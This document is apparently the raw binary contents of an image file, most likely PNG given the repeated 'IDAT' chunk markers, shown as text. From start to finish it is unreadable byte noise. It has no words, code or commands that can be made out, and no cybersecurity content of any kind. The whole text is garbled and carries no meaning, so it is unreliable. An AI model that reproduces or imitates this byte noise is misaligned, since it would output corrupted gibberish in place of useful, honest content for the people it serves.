6��[�:E�8BrU�:WL�12#��RQ���2��t��9쟕o	�QC�
���4�!�r��]$�L.v�����WO‚s����mE��(dc`K����e�]����q���r���22��ǩ?�V���^�#�e��ȶ�,ϝ;�h��f�~��v.���Pu@l_B�N�۵�(�W-`�(2����oZ�s��M��/����}�?��W}
����@~�^��W�+�X�
�ڬ���+g���U���t�%E��79��u��S,G�t=M�W~m
V�/�	V�qţY�]��{R��uy���jz��
�-y��w��
?���|�;9����
x�^��W�
�3y�8�^��W�+�8�
c�I�~�?~���8ځ��8������
�qPS�p�A�Q�"C.;`*@Ȫ��Iw[��[�rݯ������p�gC)�Q�n�;�l6/ڵk�Ž^�y��v�5q�H�j��cGrx[	x;���%�\�1�"�(����(E�8����F{�݅��O�[�ڶH�d�NQQ]TUC��m�[�l@M�y
�S{K^pj��\���.�$�K��y]�G1�	�gJ�����f3�d<�U��{�gg?B�h�@�SP٭�s�*�Α���|�B��>���EQ�����̺�ٙ�C�ܥ��q��oG�]�{��h��i?��-x&���@X��C}F�����J�ƙ<xsss}�o��������8-lKϑc���W�v��g/���.�䒯���Ϸx@����~v��W�+��
��
cB�{.����:����*��H��G:���������9R��+���kW�¥I�?�~T��N�
F��`����"d�FGǺ�Ι�|��
�_�Y��M;��^��W�+��
����ک_��W�+��
��
4��s�����t�>�]mnr�~�
x�]�E
�E1���
�fd`��x`�I�h�cd������s�7�_y��y���_h���.��E�Z0:11���G�i~~�ҏ�v�90f[�Ýn7	J�f��ӧ���8%�M�E(�uB���a�/���X�l"x�h_�Z�A�2�t5�b86�R�9b[�a$HQ3m��b.ZR	�q�)
F)52
-�*���u�}�9��o��kh�
�*�Np9��D#"�v�4�y�J/�⌲1��J�h��厀���J�K��jp]��6��n/
��Y����U0�\�N��@\�8GPj?JP�WF��V�q�Z
���6*��DS��S��o61;3�N�c!��er���t�ϥ@\�H�HUr���$�s�$I���z���w��o}f``���է����W�+��
xN/��?�'����������B��u��!7g��Ń/t���a�^-�o�j�s�_�.a�2�W!��GH�U1�-6�7w{�7��#j��KW�>?�W�+��
x�^���?�?��ez�^��W�+p�Ƙ�I<�����Oyu�*�Ib����W�+p�
�Y�;�4C@
�B��k$2p�Aܓ�D^Al�fF+;����76��������4P�p�0��Сs���o_n;����,�7�a4�8�r���N�4O���s����qƐ�.���\I�2wnp��X�(�!�D
{y�i#a]���Ņcl�H��� F��� T�
$�Ԭ�ܢ�Z�x�laߜ��S�U��c�A]á�+�:�
�H7c�रK�w.:��s%���^-�Z��ئ���ܠ��zsNrˉ�9��Ț�q��+��̂wK'�y
��M-2�\�h���o�[
��&�7r�۸q�u�+�A����P���HѨ���hw:v�.��X�ѭn����d�f��u���V*�����<7�jU�i����������΋.��n�y(n�b�ټ^��W�+p�+`���Ϛ���%�.:�J
�~L���+��at��\���X�
�G�(u����T3Uq��$
�v�h����&O���[�K^�G��A�ڼ[��f��W�+��
���ک_��W�+��
��
�����n�������ǚB�̟���5�7��)����qq���͵��JQ���zm�Hduˑ������±��?�F�O\���O�W��䁳����_�;��Ƙ-Y���q,Ƚ��F������ƈ���H-��a\�uNT����#8��Pi��HL�����Hl�u8��C%�G�K�/���!�a�j;��X�(C���h�����wFb|V�)�����)���Rf20���L��ap�d�|��\�;�p0�}j�9lj��7�J��L�E�ǡ9�9'��8��G�p���+�Z��<灸���H��%.��$�Q�E���@����,T
�Ѿ���u���T��B�j	�.����?R9餑�	�崿P�593:�;v�7'�o~��y�K^�|��Q����w^��W�+�8�0fjG˥�
IDAT�����8,��c�*�0�9�Y��b��{5]��+�pq%Gק�q��k43
�a:���j"�V�?8����\�9�X{J�7�+��
x�^�5���^C����
x�^��Y��imzl��W���g��g��'��W�(�8��,t�\�4"{c2�8��&b��u=6gc_~�����]��?��
 \``rnr�=w��0
.��g>��V�uc�ANO��F"���A+%�r����6f�n�G�Q�(8Bh�&G(��&*��:���T3�9b�`��H�J�Z��ҹ'�	�?�r�C��p��(ڨ��fT
��O�d�;��dSB�XI��<DO��"@E�y��j6JLrFp�ъ���br�+.�i^�D%`��j�S����(!m���CMnk�c#S-gsmmY�����;�-�����7�G%�i�����J�gDz�Ք��=���%�p����������~��:���Q?B.lS�6"�����\�K��r�R���)�@�y99�q�0
\[8�YsE��gq���o�iץ�]��w��o��zޡ�=��Ԃ��M]�7-���\���Rxm~�
NG����ژ6m!��^ܫ<�X���3�O���K�
x֦Ƙ�C������
�FF�����5�n�
<�6kӗ�D*`�82N7���50\�Ϭ�:=�T�*�!����$F.�s�����ȩ�HS?y�^��W�+�x��@ܳ&�_�W�+��
x֗������?����y0����
���Q���"q*�8&4z�6*1�<������n:�������1Ƚ�f��7���������s����xm����<��jLJ�b)��^�LR�ĝh
Ψ�c�my��iT�Pe��j���(ǎ�g��X%��*:Hts*�P5J�,5Hj�t3�\�x����AyPǾ9�m`Ϭ¾y`2��6d�
%*P&��l
^AоC.S9�(�X!"P�\����S�P,�����Һ�[5��+
9��J���+��,g(j�@r�k��%��[�g�w.��ph��Qܥ��3W��w
��U?��1��}ѿ�4�P\	��;��791�K�]�W:������Ѻ��!�v[�žC���ѿ�0��_�&
C�l��_���|���>T�T��㏃k�ආ�C�+�&���
Й!�2��*Sz��#03��G�����Uo�nw3��
Y֭�.�;��ť���L;��i8�nZd!�VS�~�$N���	摈6���ZHTw�hk��Ȁ��`��~[��y�5�}Q�^�����'jx�+o{����M��\��
ȇ�����p�CŨz �U�_�V���[
5�9�8w]K�K���3��.���9��ޭ׼���ʿ6��y��`_4��W�+��
�<�N*�o�W�+��
xւm3��k�~���z�_!��7w�B�|�������q�q亇PpĜ!���A��3?��_��
��ˌٻ�~:�(\jh
~���uϷ���0���?x���h�#d�$�
n~�v�d!�&Q�\� w��'
�+����%�WB5�Wm=�a6���5lI0kD�dMT��0�~HO����9A8ĭIH#��*���6�^�G&s��0�h�=M�����,@F�
38zIE
�x��^��M�xT��I�jG��N�$(B��Ou�bp?�JO!��ovF����s�
.����g�T�n�s��ΞȁwK'��:Ƿ��G�V*

�^�[���z�~�t"������)�Z-��re�*�WF�����H]��⨌�pn-9�#�/��v3����,M�㣔&I����oz�K��;��?yֹ�~�Ƙ�A�ӺP�pW
��!P������U��о:s5���v�n����A4����H�9��מ��k�ǽ4Py
�&�J�<�|R�?gZ�Z��h.q��q��a�P��D`�lZ��T3:Pv4z�q3�)�*�^R��yuS�X�TAshl�8�FgV{�8���!��'-D��0CNdނ�T*]`[�v=z���u����
��
��Bo׍���#�4м�=]�����ą����큸Ӻ=��[^�ѹ
C(9����v��N�B��TQ�CG5Z���uo|�_��۾ey�^��W�+��@�Z�_��W�+��
��9T����3��gi<��ӄ�.�C��}��'`��;�C熒������\F�j�	���b+@�S1$t:�Q���q�K�x�?]s�}�¶��:

\
��������:t����ŭV��J"���.٥!r���˓�/$�KJ$Il���-��"6�t[�%��2�S[�4ji����2����]L��q�L��d��
z�b�9IшB��D�{H��>�����HS�h���
�� C�C-�G��wFcZ���
Z:�����q#i�t�r�(��{�	������lCq0�\���-sar��p.��-�K�&��6cE�g+~�p��s����

H��c���Py���q��[���Ѳ�Y���Z�bttԺ���,Ae�o��f�����w��AsR�W:V��k�z�]�ʶ�t�8�:�.q������-���"ū:�8��i������z����n��.�A�S瘸ڒ:'Չ�U�|"t�&��j
o7�n6�ԡ�ى�����!-�a�Ӡ5=^y�
�ɣ@g��*��-�0�G	��y��aj�K�G1���<�>��=K[�W	cۥ)N�u�U;��?Yn�R�
d�^���ZK!�z�
k�VOq%u �J�'�F��IF��On�8��m�>{Q��
����vЃ���Y�9�,w���j�����
x����{�+o�>p���ٙ�����w���S�O�k�gd�~!^�SD�H�(2U�k��k��w/��
dJL�DS��~�[�g���2��)����^��W�+��
��
x �4�`�y^��W�+�XK
c�.�7����{�k/ו�M9��AB�<Hjh�7��3P4�d�F�֚_h�У�@����O�)O�4q��B�2{#R"F�b�\X{��^�3|��_�;�ƅw2����Ok\�������9�����^v��n���
�6ve>b�IX��b:i�\����轄���
m4RM.f�t�d4�O�i�`F�\h]�h]�
^��F��
���P�����J5�nk�G�\Cd-4x55�汥�p�XcU�]D�!d��@�,`�un]�!3aˑ�)�
��x3����;�h�2H�	r�܅�4�Yw�•ͦ��Fe��5a#W�S���"N�1|w�qI�Ή���_Oqhs@��Ҋ�UFS�:�����::��sZ����4��r4�̀����x��p�G!j�}�ȥsAa4�Qd���c�3��%G�'��@���y��Π�l������~��3��y��/�h�s�zX����܋��>�Ϛ�ed���^p�w^�қ������s���5~P<B�h�hV=��9
��P���ЙžG7��&��1�d���Z`�*��0�:3j�A�84g�^u�=8'�Ÿ���e�:�>�,��<e��B�0�⩟����p����-���>c�HT��[��a�Lƕ}wg	M06�L�R"鲨�
��O�2�ukÛ��-;bt�$j���m�6�x��~ʙ�,Y�=�����
xN�Ƙ
�^:��?��j�ث�$R3z��S${f��}���̵�����`L���C_���"����:�D;�<���|?�>����%�
x�^��W`=(��P�~�^��W�+�F(@�����-w��;�СK;fZĕAt��jIY��'9=�Xx�
$���<�Fj��d+����~Y9�ڡZ�"�<B����/:��s��o�H��:�e��;6�����ʹ�����N����cWi�B�5[mDՊ��d֍�^n*�ʈ��q�S�>�
.�Uƅ��T�F�nFa_
��:ΐӠ�x��ʑC!'0�
8�2%�3�T��`(Ȱc8�٣!6%9jz��G]7J�+���h}<��!�=
֑uL�{�{xb���v�UG�q6�s�"��`��h�R���������X��}�e.]�j�w��,W�����ە����.��H{�jʳ\��`���S;2��@��vH�Nn��[��>�8���R۶l���r�fwȢ����M�]��m�Y��&p��>�l��[�z8Z�rҥ2�k������`*���/���K.����_���v3���Z?��Q�86R���l�N�3Ϋ��Q��0�g���'w���:O�9w`S��a������\�L�@��0��=��c�r
F䋗S�x���vTXk��6��J+�m��f+#��Ƕ�G#�vcp�,�M�B4�
��$Gƪ�ǯW��y�π��=~v}�
��~��4���@�b��Οr{��π�~����;
��$Š��W�A���}P-����97|�_����o��)Xݾ�^��W�+�8M���i���
x�^��ZU�Û8t�-w��o�w���6&"����P7G5��(,�$�H��L�n��a�|l�Z�__���s�vğ�<���
�4��ܱ�	Ld�f
��[^���;����։-�_��*P��a[�����wߕ2ϟ{�m}U��=/��*'8Mi�a�^'����S�T2#0�17��L(c$�S��`8=�̈́E+�g�"Ee�	�0F����:9O&��r���F`,��b9���æ��Y#v
�&A>!�M��٧�8g�f�t�]�f$O�c	:��6��`/����O�0�
tX)��B�R�Ûs�*���G�l9�l9��X��Հ[���v��v]K�۱����j4�yW*�J�����{�r�|�_g���6����m���l�dY�`
m�0Z��1:2�$��o�Rd��0�~�KS�[-���Zؔ��-|V�p�u�lq�����6��8�Q5aJ!��k_�����o
���b��H���~�{�����ݙ��a4����˧�^ٚ�?dړ;B��T;a�UmD�L��]��`�l�/�_�Ȼ�SS\�̢7�6ʹ��Y�{�)�L��V&�<��L��ML��͏m8�]|Dž�Ʀ�O@ϡR�q��K#�k�l+e��+��
�`�9T�Ԯ���sۯ��Go��͙VF#
�9�����<�E�
�!�D�ڦ�`x�/K��z�>����FW'&�wm��M��ȕgl�����
x�^��W`M(�5Q
�^��W�+�X_
�LkӮ��������M�yqF.CAHW�n
d�$�D�F�BW����z%汾�[�p
�*F7"8AA�΂��S\#C�D�]o]���ҋ^w���k����v;?k|��&&�^p��o}��jC���J��n��BnY/CĶ��3q�0
Ύ&3�]�~p06��qt�=�M�n�q��Z��#L���$��$�E�
5��C[
#A55�0�F�ۈ(T�ip�'ɵ���i���P"A�L��M��3:3��9SE�A
*�Y/Di��k���a�U6��	�
Zqy
��?�D[z ny��X����юeY���J�-�]
#�ߜ\
��AE��$��i��{�����\�bRgf@��?KB��r�j˻t�<����ye��
g�e_Ĥ����L�����tL�V��ng�n����nm4_0돗�R+�̼ű0�@���7��=[�Ȯ�f�|����3Lwz�j�5
;a�u��x���$�tR�L��XP8��h|*5
�F@�Km��M8��Bq�\A�X8�"�	Ng�|¾�Nr�u]I@���YXW-SU:�3e�t22Y�xƾ�g^�@e�y���G��&T�B-`C�1���'��W�+p��Ǡ�s��?���ݟ���USP��)BF�T�	[�_�W`M+�pm�rj��L��4K����ʺ����+_���y��I_�����
x�^�u��?�_wU�7�+��
x�ϾƘh
���w��϶�}/ˢ4��=����E�$�!��;net�U,�A0�����xN��@��i!�4�\�x0"U�������_y���w1��Oj��VT�C#��f�m�ܿ���C����}��,�����vB!+�@�(&W#C��lNP���t��s����}mq�hU�AB.����;`!��@�`��"�M$rut��FY�
�!֨WC�,d�t
I@�s�'ט�L�X.b:GGG�Lt��foJL�!fUd�1(�M1�m�r�\Җp�
p�Z��#��y���淒��N=
��-����;��H�E0���
���E�<CA�ظT�O��
73�N���W�����K��;�c��~iŎr��7��	��Q�R!I��E����`�ʫ������ą^�%c����	S����
��(Tg�x⁋��ϛ��V9wp4V����FD�V�\<X���SN�o���2�X����
��������4���'O�t
0B��wBjOC����%��@xw�F�AWmt.#�A�F�k��3��(S,�f,lɠ:
m:`�
��ع{+g]�(�v�E02��:��>A�Mr�G���x�GU���L<�ƒ��w����&�0�P��B���W`]*P>�����	�K��s��Ŗ�-W��7���O1V?�.����
x�^���U��ί٪��
x�^���@j�.�������|�7卹m9�]E�c0��Q$#�ZbJN�C>�'��:S��?R�EU�>�!9�@���MҭM]�������<���N)A��y����{�G���ת,?�R�GaPI{=G�s@�\�/�)�ނ�����Q)��!����S���v@����㓍Z-�V�XE����y5����3g
li���lA޲Paw��!r���K„U(���W��s�[�'�u-�i"�Y
�
g�-;��]�1A"�utʕB��Cvp���8G҉>/�V��\
�\G�=�oW�m����L���#V��r�{��?�W릶��[ϩ������o���9�72<�(�l�A��ݗ�&+�YF.i���C�ӱ�N���aѹ���W��-]�qGjǫ�nbCt�����HY�S���T*��9\y�U��������^{�W�3��Ք�ϳ:�!��	�@�gB���Ȯ�����tjϦ
�j�'�����
�
��q�4B���y�d�	�ĺ��1�jӁ�C��p:�!bq��U�a��VW]�Υ��
0�)����y�=�0`��(w�wc�@{
��U���*P�*�B�4$��F���,�fYu�!T7M�����;�Ǜ�z�=gL8
N�\�n�sܧQ���^������>k���+r�o	��H�X���~���X�
Ѓ�e���=	fB�X�ܺ��+t�����5��N���e�с�O^��W�+��
x֌�[3U���
x�^����1Ӄ�0�c����c�}��Ru&�F$rp��Hz"�݄q�6��q���u
�6��F�A��q�~�!�a6�nz����o<g�e_��pk��qp�^��{��}{^��O��y��-6C��e�#!("���*'G�r�S�(
�3;����g���$A��-�pΑE�p�ԯ��E����!�TL
��
Z��0�9bCE����YL��_��@0�t%I�J��L��[��x3*�x�a�l��-�����cdb"F�1�:���R0
��(6�(����?��(�M[`�ms	��{�灸�6�\灸S�!���`�"����
cr.�R[Ѝ�r��}��[ͦ����%\$ؑ���gq��
IDAT�Xaģ�����r}��{��2��k�>r�#.�c�i�^��J�*���Ͽ��o��o��u?���#�^Ƙ�t�
�D]6
3��[��wϛxd�s{s���Lo��-��
F�@��i�	X$N�^�㕒��}!(��
�r�7�s��(.�n��S��"�}S=��4�OǡG�#EJ�.��/\��`���c����C
Oq�h˙�� tл��s
w7�
#䒀����ʄ:�\J-��Y^�׉���ۦ�v^0��/��[��N"�Lc3b=�j�?�
x0���O_7��_�,��>��;��A#���a4�\֟�+N&wx:�2�P0�����������`��o����+��
x�^����?�_�5����
x�^��TD����S����]����4��JS�Qp���D'�!`��<$_��r�Z�{��Ӵi��:�v$�9}q�-�sz'@N�JV��\�ş��~�����X��YS�9�
0p��}��%3�~�O�
�Ӌ�x����z�.�G8�,GW,���8F�gAP889�����f[��!�4�
'!h�ٸ�ij+4-t!���F����J��u����y����<x��֚�AɄ�I�Z���U��1�y�����9�'�fu�N�@�U�cr�@1�_��GeR�ƾ�ѯv=��A�-8�vҀ�]19�4K+w9W���`�!Ω{,`�J���j�=��u���Tw�sm�#�@'�8v�ر�'8x̹6�D���LOa�ٴ�!�I��jW�o%p�\���m5��XX�0�}?
��9+e�)r�+���@)�✷�����v�7}�~���٬�Z���qo_iw��&<t�U����zo��tꉳu��V
5��t�&�	Al��6:�	��G&	�rL�u?,�<MP�Z؊��^�aC*
Em�\e�7�ꁸ�W�asR%���@��ƁmTG+Z�E��"�ق��h:��&��@)iaGLH��6��_��h!]j
�\��ۨO��M����=t����Y��xՁi`��V���\?y�^��pNޏ����[���kzjDRҳ��,e��VV��q�)@�����J���@dl�Ӫ��k�%?������c���^��W�+��
�)�����_��W�+��
�/�)�G���▯��u�};e��f�f��k�j��#�A3
���?���Z��Z�@�G?�j��hK�$��2qg�o����w~��{��m3.z������w�^)u�G?���1�
��rG�+�#���	�s�ſ,$F��!��ʺƑ;T�F�#�8�666�\ถ����|5��`���Ʊ���!V��6B�F��BgK%��C0P��G���
�5�x3Y�[{�$4�jHy
)"�g[;FQ���κ��h5���f#Դ�����V~o�wv`����~�⥀\?��8'�j��cK�W�H{�jʳ�r/7�r�[
�u,.h+A`Dz,*/g�YЫ�G-�εq�.rQ���lpp�Ƥ�3��4��{�CV����ġ"~~�=�gi]��}Og���heY����Y�y괜C�JGƘ��뮻�o��w������x��r�=Q�$h�C:�~���yM>���t���U�6B�B�z�c��Z��ۆ�r^����>)c���X�P��xALJ�X��YYV7�uT]��Zy[�OU�"��9F�:Um�,:�.���S�����C�蜿)f�M�u����7����.�r�!)`x�L3r��,��
T2rp�e�ނs.���8jc-`S�Ǫ���
�V�=�韞��5��\D#7kg`��V����tR�H�A��!�=d��jR�ɀ��;|��>�M�1[ȭ����W�+��
x�^�5��?�_C����
x�^���#t.����?ٹ�
m>iA�H���M�8!
���#Z뭽��u
0z�5d
i*�A��DW�6���M���
��[4��5;�
8ww��sx����n����	!��\�F�)re\�����?@cl#��6u��tJOdgm���s

N+
HEKsNP��h�9b&����B��*���m�H6RᨱA:�0o��rĶs����$�E�=,���)��E
jI��a���T�`ut���JMQ�d䤰qM����h��Z��h�PL5�Hl��L]
o+�Kr����z�@ܢk`��J��j�7[K?��+��_s���x�[N���Y,�r2+����=�	|#w�J��Z�f�]4*���D���:���G�v���w��O&��2���Y��o��9
j�M��5��Տn޲����~��<�l��
����<��}�ԣ߽2=��݃o����Hń&�$1��9���U�p�
��d��‘�|'k�sG����h�X�{��uWs�b:n[�K���R[��\B�Δ��s������%nq��x�/@8�@c�H���u_H���vr��ž#):�
b���@�Dc�
nهږ=�/��8��oC$�Pz��d�����
x�W��ݝ������yY��bɃ>�׫�XO
0z�n:P�=�`�F�)�b0�g���5�Slx��c�����V��W�+��
xN<w�ԕ/�W�+��
xNK��l|d����_��w��=���Z<����!N�3f�<�sZ6�Q�P�ܿ�$@&��{#�������]��~���u�5��O'Qc�2
e���
ӓ3W�3�>/��ms�s[j�Z����sD��1�b�hr@����
��-�>��4/(R�
��S�X�9���!���ټI�9�0-�!���5ƶ�fC�
��t�T'��n=�
ȵG+H��y)�P�z��T�Cm��4£3M��'5Rd
y�*!��S�,�V:�QT]1@N�*	�[p{s�ܖ��8�H%G:�(�5DΈ#4�tf��N��@�j��N
ζE�E
�Wn_	�U�UX���gI�Ѡ�"G���t���,:���;�y�\������ț�ŭ�#���
C��q��n?��׾���?��1PNj��E>�3����v���ߺLN>rV�NmL0`T/�Jr�����
���t� Hڢ�$e�J�E��FuHc�
�)�*Q���X�ײ����~^����­�Ŧ9�}y𐠷�[�-��ȭ�x"۶`!8��l�㬣
9�)
I�H<����ג�f&n��3]������'y285x�����F84��v��o�^��r
�܈�>��]w�1�{�(�B�8�X֩t�%��K�/L��������?^��
ް�ǔ��F�7�+��
x����x;��"_D��W�+��
xN)"ia�|���ݗ}�J�t�DvPL�"���hh��s���Sj3}a�ϐ.S*=�]����ɛ�o7�z:7{�V����#\���x�y3ӓ�qǧ������:*��@���z�Fm!m���ݬc
��]�G��3&�=a��&30���d`Y[��`��H�̖�Q����=V3-�b�A�[D0,��o�JA�D�y��2	��Ǧs�75�T�^0���k`��]�i�ZCY���I�2�6l!鷈Os�H�Vr�+�	�#��8M�L�>w���,�K��q�;�8�J��w��J8�>'��t��V�+\���7Y�YW�f�i��H-9�᮶s_ԕ���o!�v,�ڞ�X}��,�55s�Nq喑��ic�,���5������!�c���t��������]0s�/�]`&:��No��niS
��F�Wm�-�y�6��s(U�J@�X�9u��{��[qVX�G�^����m���Ḛ�
r/��%�F�0`s����[�#�S���X:Ĺ"Y�q��Aq�!N�뾀0�#��\K�#%�+��qh�V.Bts
D5����we�7?�
m����'6]p�nl>�~�O
�c?�\���+pZ*`r��������D���"֮2M�(����
��@�TNN�,����2�7����^�`Ía�5W\���+��
x�^������w3�����z�^��W�+�>��h�|��7~�_�����ml�3�C�
�h��{
n}���K H*�zy
)r�a��ƽ�o��7\�>0��=�;�
��u[N�p�C�^�O}�f�͙Y���q�`K�$���q�!�z�����8P#
xmF]t(g�  
�Nis=�`�x�8�1I��,6Ur��*��Qc]T�{���r��"U#����!ut�j��8�2o*��y4�<l�����M�T�(�Q<��p{G��v���bꦋ?#9�E����XW<Fh�%
G��.g?^p�;��=灸��#�-�sP�2�"PC�q�z��Z��
�-��n��:;;ka8r��_�(,⎤U�]��+�Ս�v�����*�8�\�}��Nq�����{����z]6�ͩ׽���o��{��։?ʬ�5c`r���߽lb��_h���/'w���E֌�0�'�PU�گ`2�!�R$I\a;�煀��Zl5�ML����b��O�&�9�j���HU�t�F���9�յ͵���(�U���1�.�ʸԫ�JKu����)��"���ʋ�߶-�-Ӻ�Y8n��G��e����]G/�%UF��V(R^A����x��tSE��Ɇm>��������{5&�-��5nm�7_
�����I�0{�ηL<��7�$�Lf���]6�~��IW@B��r���|d2�z�]�ڿv���^+~�^��W�+��
��;���^��W�+��
��1�<�=�_��6�~�UE
d�xT�d�����S,�T���S��>��^=
�䡉u�T���ƛ~�w&�~���u�^s2*�K��H�Gy�|�����_ƅ��Z���Bi��^�z�:4ѿ�0��]��Y8Ĩ��P�}@@n2�t݃����
L�E,��h��3���$-V��HL!2p��U8E�Ѩ2=�͡�H�,h��*u�α��1�dр�&F�@8C�q!B.���Ç�Xh@���!(��N+��3��G74��˿K
�"cK���|�nqe�+��Enq�U���q�;�8�r���=����^o�V�#B��;������m�9o�8�?�{��^���9����
�-�ϫ���Z�m���r-Y�Kn,��8��G��FBrΘ�	��s���B�"����G���wc��8�<[�X<��T�o�Y��k�嗩��_
���F"��,.����������c���3�{C%`�Ti^K��_���}���`6�-�V�s�m�8;��1�`������d�*���@��b�|��9݋ol��=�)���:p@��n��b�����*����R�Eh�����`A���Y7M{���0@��F(����:�*T-V�
Gw~����{k�.�g^�Ml��i���Z
#��O^���S���f����W�ā�Θ0j�'A�N1�����N_�V!;H�?[�Ӂ{ϼ��ѫ������y���y�^��W�+p�+�O�O�:�[��
x�^�S^tk�5z�O���y�d�u���	N��rwы�h����7�8
NK��وqSɪ�s�����<�g?Xö���v�?qqq���;��{QR�>�#���0�)�;�'��:���#�&C�q�}�	�"�8���"�(�bI\�i��ই@d���Ԙ<�Ψ�q�4
�5M
[,A�
azd/g4�&P��FѨƠm*��v`V�0�5�7��ɹ3�@�a�r.�sV��|@n�#Gr�3�x���p�)��K��9��#�s���oar�[p,�`��`W�YP�Г�C�@���q�;���ϰ�9!1�8�-X[����+���{i�N�ƤJ�[�"?i?"���(��$E��t��\�,������L�u����^oA�Z��n���J2q�
7|�}�{�?Apc��>�&��&�����~E{�]/���E1Z
���8
�$�:�X�.�>����C��ޛY8)��sb��8��ぅ�
���*�Q����X�Zp�֏f�|.�Z�;�;�*�$lP�f?�uѹ���Rq.��p�[Z+�m�]	�$��Y�ޞ-P���b}T�Բ�LA��mI�hK�[.�%�!3���s9�����&�&�y80����{�˾��)Է>�jc�����'�q�Ux֘
�wYz�߽9��w�&F�q�5VO�8'^��$���\FV�:rå|�����u�w���+��
x�^����?�z��_{�^��W�+�)@�I��꽷��/tn��N�)ZАc��$ʁ3���3$�_̳��b$��p߉���ع�+�R��D<U�����-�l�O3֘x6�_e�
K)�y�G�37;s��?����<�K�b)5��R+)B�p�g�"�
�R�GL
+k뮦����n䆦h�HK���P���t�@b��@mN�f�o�r�	Ch�B�\�j��fD�d,�����5���OL��$ŝD�úu�K!`Yg�bc�x�@-�!�
���,a(<����ɽ�BEf*�]
p����p�Ϲ��u0W�@�7a��HX�Gi�Z:y
�q�.�x[���bSK�ᆇ��C���(��m�1	
W��i��L#���}�A�4�O�&P����էs��gw���U�K룄���|�s��A8V�%qO�s�i��'i�n������Ji��8����ؗ��O��h��=[�f��ɱ�E����L���g:��f6�DZe*�`T@�[�ꧭ�$��@0��ǡri�iD�	��4ao�\�CNKǸ~(�se�f�W`�
@z��GW�����A����PĘ��ߑM��8�2fՁj%HG��q}$n�eϕ]���4K��t
t}!�P,|$d�A@Vpv?�`AI1�� �RҶW��>�"
8:HT�%]Mch�}�;.�A�܋��݇p�^�1�����_yNU�inľ;_9�VUO���
�֞g�Bv���S���a���>�f������/������+�ù����k���yV�����ѽ�4EU0(^3j��-/zӻ��3��੫�/�W�+��
x��E'h�Դ�N��W�+��
�
�̾��������Wm����:JȐ���iF#k>���O_ħ*�PhꏘZ��*F��~�?@�"��\&k�����lW���oz�{F��ۧ{���nS7��w��u�V���?���۸���F	7�ˡYX���%MQ����A�pƂ�x),'

�@���ƜVY��l^5t+�-������Cq�"�@6Q�6��i����M�X���HY
-Sì��`b���fd0�b�hF�t:�c5��g�)�ܤ�����E��[���m��W��k�����"*��?+���6�w�qx�ͅ��Ҷ�8ĭ�#���a�m{���:6��y�2����;��9Jc```�m�@9%ssп��"Rggg���7e��j\t��A��*��3g<b���6��x~s�M�%�P�:V��\��׫��a�y������~��
y�Tw�3֢�5�ޡ�q�W�����Ww�w]QQ�;!�
J�!.\<�>�uR+���hR�W<�����W*\<0@Eyʝ�r�[��~�!l峃�s���sI������)�
�3�.w���E���¿�Y
?A������a��u��P[���e8k;�X�(l>0*���:>���g`�9�U.��^l�d7��S��ۺW�+pd,$�}�'��5�֏F�(J�X����\�
IDAT҃M��C��#�Ν7�|pp��LN#
�Y�Ȃs~�
�|���@G:-ds:�VnxMO*(��+�dw�F��Ӏ30��.�����p�O�.��T?>������
x�^�����?6T���
x�^��W`Y�9T?�?����_�u>��>
"��2]
�����#��^�SL��s�un��
�١���/��Aэu%���J��T���
���_s���VA�彁�3�&\\*�^o��'�<����|˭��8I*��|���u+3��D�"�ŌCژC
��Nա-��S�)9�Qj
/	�`fಅD�Q�-�c(�cn�RV�M�4D>���r�2�t@���$O
y��a.1����8�ᘒ�
kv>��J�Q%�v�{)����e��ܒ�����s��/����ݞ�4�8ĝp
�܉��AY	�Z�=gν�@8�e#�Tj��j�Fþ;'#U�y�0�6����bnv־���(�~Hd��p��?��k�+�Y�
G:
��-'W�F�݊��
�����]������������Q�;XE�{��d���rm8�Ub���|f4`97�̵SN�7���e�E�l��%���ZZB��'�q�,�ё0*H3Q���Ik��]�#_��~�b/�a�C'����'Ww����z�������
G r�C��(*B�Hf8J���s}K(hN�x
��֞_���!C��a�Df�8�h(�]�u�=g�?������U�#�����y����J{�^��W�+�8�@ܩPK��^��W�+�X'
�M��Ͻ�������Si�=��3�
ȋ�ȅ�u"����F�E
��p��x�u��⬃����(��C�)j"�V�ч~�����{��E2�Q��n��@`�������o���c���7�q���iG,H,�B�pt�ڽY�22,qC��&�{-:�,��Y�Dٌ��91›ؔdf[Mc,�,�mD��S�	���+��e���э��AV�t�g�M�,;�3�/�lw�����V�[jIh�W$@�]f�������O<�x��x/l������gX
IXY
@!vI
Z굺�[w9[f��g��:u�VW����#ݾ��9�'��<�=���Wp!�Z|UC�B�B3�in7+B�:
nI����r[	�G�,�h!#WNr���u\*�ޣn�2��/�m?}�V���\9��&��c�-�Ǻ�g8Z��v�#N�).
7r��.F2G�5��fqCP<J����m5�-W�k����/�B����=���N�K>bt����G���v�M�n{�1�Z�~���Z�}x�g�o>�鷩C߿49������s2a���,��g�)4�m�J�\9�K*�(d;��df�	-P�C��K�s�G�<�����T�Ud��tˎ|�`[=��_�ο��6��r7!�u>�����R���/?����ط�g�*�)�hV
>8B���wZ��~
�i�rn����3S#W�S]����Y��q�CC�7���C��4l�_�ItS�d���u}w���?f���[�N��S�)�p
��
8 �o"W@��S�)�p
�]
(u�~���{��s��WeA���D��Pц�<��q�=�
�J?���x\W�������P�fϸ������l��^q�q�&�`���R�<��̴�{�߽h`p趻�̋�,O#�3��A�bt#N��T�C�xH��c��r��)|���c���h���6TU����G�9�4�,j�_�0ׯ���%8�򪠝���b��*<7�a���
#��c:	��r��h������Y�E�6�wD�y>�ͤ�����o%@��(�q��H�o�����s�R�/�ႀ\�C��f��P��3S�[��d>t�u�3ns��:;�@s@�PR;t�C�K.�z?x����_|�?�?9�a���y������������x�O5�a�;���cLzzP?�H�a�W�B����K�8v
ؐ��N��u���H�qݶ�B*�&.�"�!(h��/APA��o�}h��{|׋_v]��&��	c���8�g��yp}���/�g���9�)��Y�LJ�L�	R��L*��H�37g��g�>�*��%S�Ù��f��I�ϧ��ޢ��+�?(��l�����7~���S�C�]�N��S�)�p
��s��)�p
8�N�SJz����û��=w��7G�8�4(L�(hfm��*�+�S`E
臏�!S��s��:�Jz��|,|*X*�
�Jw�����xQ��/3�ݹí���H�������U*u�}��w]'�2�A���(g��<O�Ĺ	b��R�%
d�j�r�Ht1�Oa��U�Lg��F��_�b0���@�U��L
����uNzHY�ث#!'8�h�!�k��p`6Ɯ���P�R��e����K�i�)����$��^�;�z>��Q�3J��+kV>"W����R����d;��3F��F��0\�QG�Z]t�*�s�V��&��
